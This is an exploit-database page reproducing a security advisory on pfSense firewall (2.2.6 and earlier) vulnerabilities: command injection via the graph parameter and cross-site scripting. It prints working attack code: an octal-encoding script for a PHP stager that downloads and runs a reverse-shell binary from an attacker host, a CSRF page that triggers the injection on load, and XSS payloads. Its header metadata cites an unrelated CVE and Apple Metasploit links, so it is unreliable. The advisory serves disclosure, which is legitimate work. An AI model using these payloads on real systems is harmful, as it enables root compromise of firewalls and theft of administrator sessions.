header-logo
Suggest Exploit
vendor:
PfSense
by:
Security-Assessment.com
9,8
CVSS
CRITICAL
Command Injection, Cross-Site Scripting
78
CWE
Product Name: PfSense
Affected Version From: PfSense Community Edition <= 2.2.6
Affected Version To: PfSense Community Edition <= 2.2.6
Patch Exists: YES
Related CWE: CVE-2015-5750
CPE: a:netgate:pfsense
Metasploit: https://www.rapid7.com/db/vulnerabilities/apple-osx-apache-cve-2015-5750/, https://www.rapid7.com/db/vulnerabilities/apple-osx-datadetectorsengine-cve-2015-5750/
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2015

PfSense Community Edition Multiple Vulnerabilities

The pfSense community edition firewall is vulnerable to multiple vulnerabilities, including remote code execution via command injection as an authenticated non-administrative user, stored and reflected cross-site scripting. The status_rrd_graph_img.php page is vulnerable to command injection via the graph GET parameter. A non-administrative authenticated attacker having access privileges to the graph status functionality can inject arbitrary operating system commands and execute them in the context of the root user. Although input validation is performed on the graph parameter through a regular expression filter, the pipe character is not removed. Octal characters sequences can be used to encode a payload, bypass the filter for illegal characters, and create a PHP file to download and execute a malicious file (i.e. reverse shell) from a remote attacker controlled host.

Mitigation:

Upgrade to the latest version of PfSense Community Edition.
Source

Exploit-DB raw data:

(    , )     (,
  .   '.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .'), ) _ _,
 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq
                    (x.0)
                  '=.|w|.='
                  _=''"''=.

                presents..

PfSense Community Edition Multiple Vulnerabilities
Affected versions: PfSense Community Edition <= 2.2.6

PDF:
http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf

+-----------+
|Description|
+-----------+
The pfSense community edition firewall is vulnerable to multiple
vulnerabilities, including remote code execution via command injection
as an authenticated non-administrative user, stored and reflected
cross-site scripting.

+------------+
|Exploitation|
+------------+
==Command Injection==
The status_rrd_graph_img.php page is vulnerable to command injection via
the graph GET parameter. A non-administrative authenticated attacker
having access privileges to the graph status functionality can inject
arbitrary operating system commands and execute them in the context of
the root user. Although input validation is performed on the graph
parameter through a regular expression filter, the pipe character is not
removed. Octal characters sequences can be used to encode a payload,
bypass the filter for illegal characters, and create a PHP file to
download and execute a malicious file (i.e. reverse shell) from a remote
attacker controlled host.

[Octal-encoded PHP Stager]
stager = (
'echo \'<?php $shell =
file_get_contents("http://[ATTACKER_IP]/shell.elf");' +
'file_put_contents("myshell.elf", $shell);' +
'system("chmod 755 myshell.elf && ./myshell.elf"); ?> \' > shellexec'
)
encoded_stager = ''
for c in stager:
 encoded_stager += "\\\\%03d" %(int(oct(ord(c))))
print encoded_stager

[CSRF POC]
<html>
<head>
  <script>
    function sploit() {
    var query = "database=-throughput.rrd&graph=file|printf
[ENCODED_STAGER]|sh|echo ";
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "https://<target>/status_rrd_graph_img.php?" +
query, true);
    xhr.withCredentials = true;
    xhr.send();
        
    setTimeout(shellexec, 2000);
    }
    
    function shellexec() {
        document.csrf_exploit_exec.submit();
    }
  </script>
</head>
<body onload="sploit();">
  <form name="csrf_exploit_exec"
action="https://<target>/status_rrd_graph_img.php">
      <input type="hidden" name="database" value="-throughput.rrd" />
      <input type="hidden" name="graph" value="file|php shellexec|echo " />
  </form>
</body>
</html>

==Cross-site Scripting==
Multiple instances of stored and reflected cross-scripting
vulnerabilities exist in the web interface of the application. An
authenticated attacker with limited privileges can run arbitrary
JavaScript code in the context of admin users’ session and extend their
access to administrative areas of the application (i.e. command prompt
functionality).

Param   => descr
Method  => POST
URL        => /system_gateways_edit.php
Payload => <script>alert(1)</script>
Render  => /system_gateways_groups_edit.php
Type    => Stored

Param   => container
Method  => POST
URL     => /firewall_shaper_layer7.php
Payload => "><script>alert(1)</script>
Render  => /firewall_shaper_layer7.php
Type    => Reflected

Param   => newname
Method  => POST
URL     => /firewall_shaper_vinterface.php
Payload => "><script>alert(1)</script>
Render  => /firewall_shaper_vinterface.php
Type    => Reflected


+----------+
| Solution |
+----------+
Upgrade to pfSense 2.3. This may be performed in the web interface or
from the console.

+------------+
|  Timeline  |
+------------+
10/02/2016 – Initial disclosure to pfSense.
11/02/2016 – Vendor confirms receipt of advisory and provides fixes.
16/02/1016 – Sent follow up email about public release.
16/02/2016 – Vendor requests advisory disclosure after release of new
software build.
12/04/2016 – Release of patched software build and vendor disclosure of
security advisories.
15/04/2016 – Public disclosure of security advisory.

+------------+
| Additional |
+------------+
Further information is available in the accompanying PDF.
http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf

+------------+
| References |
+------------+
https://www.pfsense.org/security/advisories/pfSense-SA-16_01.webgui.asc
https://www.pfsense.org/security/advisories/pfSense-SA-16_02.webgui.asc

Navigation

Suggest Exploit

Services By CQR